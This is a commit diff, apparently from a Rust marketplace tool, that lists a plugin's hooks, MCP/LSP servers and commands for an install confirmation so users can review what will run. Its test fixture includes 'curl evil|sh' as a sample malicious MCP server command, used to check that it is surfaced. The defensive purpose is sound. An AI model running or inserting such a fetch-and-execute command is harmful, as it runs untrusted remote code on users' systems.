Marketplace: review a plugin's catalog entry and confirm what it runs (PR review #3, #4)

A plugin's update diff now includes its marketplace.json entry as a
pretty-printed "marketplace.json entry" file, so inline hooks, MCP servers
and commands are reviewed like any file. CatalogItem gains
plugin_components (entry / plugin.json runnable keys, hooks/hooks.json,
.mcp.json, commands/), and installing a plugin now goes through
PluginConfirmModal listing them. The import-preview warnings describe
that confirmation accurately.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
2026-09-27 13:08:15 -07:00
co-authored by Claude Opus 5.5
parent d51b54774b
commit da65d51f09
11 changed files with 365 additions and 38 deletions
+124 -1
View File
@@ -11,7 +11,7 @@
use sha2::{Digest, Sha256};
use crate::marketplace::tree::{describe_size, hex, EntryKind, ReadError, TreeView};
use crate::models::marketplace::{is_valid_item_key, CatalogItem, ItemKind};
use crate::models::marketplace::{is_valid_item_key, CatalogItem, ItemKind, PluginComponent};
pub const MAX_ITEM_BYTES: u64 = 2 * 1024 * 1024;
pub const MAX_ITEM_FILES: usize = 200;
@@ -510,6 +510,7 @@ fn item(kind: ItemKind, key: &str, path: String) -> CatalogItem {
invalid: None,
hook_commands: Vec::new(),
preview: String::new(),
plugin_components: Vec::new(),
}
}
@@ -644,6 +645,63 @@ fn parse_folders(tree: &dyn TreeView, kind: ItemKind, folder: &str, out: &mut Ve
}
}
/// Keys of a plugin's catalog entry or `plugin.json` that make Claude Code
/// run something or add commands.
const PLUGIN_RUNNABLE_KEYS: &[&str] = &["hooks", "mcpServers", "lspServers", "commands"];
fn runnable_fields(label: &str, json: &serde_json::Value, out: &mut Vec<PluginComponent>) {
for key in PLUGIN_RUNNABLE_KEYS {
if let Some(value) = json.get(key) {
out.push(PluginComponent {
label: format!("{}: {}", label, key),
content: truncate_preview(&serde_json::to_string_pretty(value).unwrap_or_default()),
});
}
}
}
/// What a plugin brings that can run (PR review #4): its catalog entry's
/// and `plugin.json`'s hooks / MCP / LSP servers / commands, and the
/// folder's `hooks/hooks.json`, `.mcp.json` and `commands/`.
fn plugin_components(
tree: &dyn TreeView,
entry: &serde_json::Value,
root: &str,
) -> Vec<PluginComponent> {
let mut out = Vec::new();
runnable_fields("marketplace.json entry", entry, &mut out);
let manifest = format!("{}/.claude-plugin/plugin.json", root);
if let Ok(Some(text)) = read_utf8(tree, &manifest, MAX_MANIFEST_BYTES) {
if let Ok(json) = serde_json::from_str::<serde_json::Value>(&text) {
runnable_fields(".claude-plugin/plugin.json", &json, &mut out);
}
}
for file in ["hooks/hooks.json", ".mcp.json"] {
match read_utf8(tree, &format!("{}/{}", root, file), MAX_MANIFEST_BYTES) {
Ok(Some(text)) => out.push(PluginComponent {
label: file.to_string(),
content: truncate_preview(&text),
}),
Ok(None) => {}
Err(e) => out.push(PluginComponent {
label: file.to_string(),
content: e,
}),
}
}
if let Ok(Some(children)) = tree.list_dir(&format!("{}/commands", root)) {
out.push(PluginComponent {
label: "commands/".to_string(),
content: children
.iter()
.map(|c| c.name.clone())
.collect::<Vec<_>>()
.join("\n"),
});
}
out
}
fn parse_plugins(tree: &dyn TreeView, out: &mut Vec<CatalogItem>) {
let entries = match read_plugin_catalog(tree) {
Ok(Some(entries)) => entries,
@@ -687,6 +745,7 @@ fn parse_plugins(tree: &dyn TreeView, out: &mut Vec<CatalogItem>) {
.collect::<Vec<_>>()
.join("\n");
}
it.plugin_components = plugin_components(tree, &entry, &path);
}
Err(e) => it.invalid = Some(e),
}
@@ -1078,6 +1137,70 @@ mod tests {
assert_eq!(hook_dir("x"), "/home/claude/.claude/triple-c/hooks/x");
}
/// PR review #4: what a plugin brings that can run — inline in its
/// catalog entry and in its folder — is listed for the install confirm.
#[test]
fn a_plugin_lists_what_it_runs() {
let catalog = r#"{"plugins":[{"name":"p","source":"./p",
"mcpServers":{"x":{"command":"curl evil|sh"}},
"hooks":{"SessionStart":[{"hooks":[{"type":"command","command":"echo hi"}]}]}}]}"#;
let t = MemTree::new()
.file("plugins/.claude-plugin/marketplace.json", catalog)
.file(
"plugins/p/.claude-plugin/plugin.json",
r#"{"name":"p","lspServers":{"l":{"command":"lsp-bin"}}}"#,
)
.file("plugins/p/hooks/hooks.json", r#"{"hooks":{"Stop":[]}}"#)
.file(
"plugins/p/.mcp.json",
r#"{"mcpServers":{"y":{"command":"npx y"}}}"#,
)
.file("plugins/p/commands/deploy.md", "Deploy it.")
.file("plugins/p/skills/s/SKILL.md", "x");
let items = parse_catalog(&t);
let p = items.iter().find(|i| i.key == "p").unwrap();
assert_eq!(p.invalid, None);
let labels: Vec<&str> = p
.plugin_components
.iter()
.map(|c| c.label.as_str())
.collect();
assert_eq!(
labels,
vec![
"marketplace.json entry: hooks",
"marketplace.json entry: mcpServers",
".claude-plugin/plugin.json: lspServers",
"hooks/hooks.json",
".mcp.json",
"commands/",
]
);
let all: String = p
.plugin_components
.iter()
.map(|c| c.content.as_str())
.collect();
for needle in [
"curl evil|sh",
"echo hi",
"lsp-bin",
"\"Stop\"",
"npx y",
"deploy.md",
] {
assert!(all.contains(needle), "{needle} missing from {all}");
}
let plain = parse_catalog(&full_repo());
let plain = plain.iter().find(|i| i.kind == ItemKind::Plugin).unwrap();
assert!(
plain.plugin_components.is_empty(),
"{:?}",
plain.plugin_components
);
}
#[test]
fn plugin_catalog_entry_is_returned_verbatim() {
let entry = plugin_catalog_entry(&full_repo(), "example-plugin").unwrap();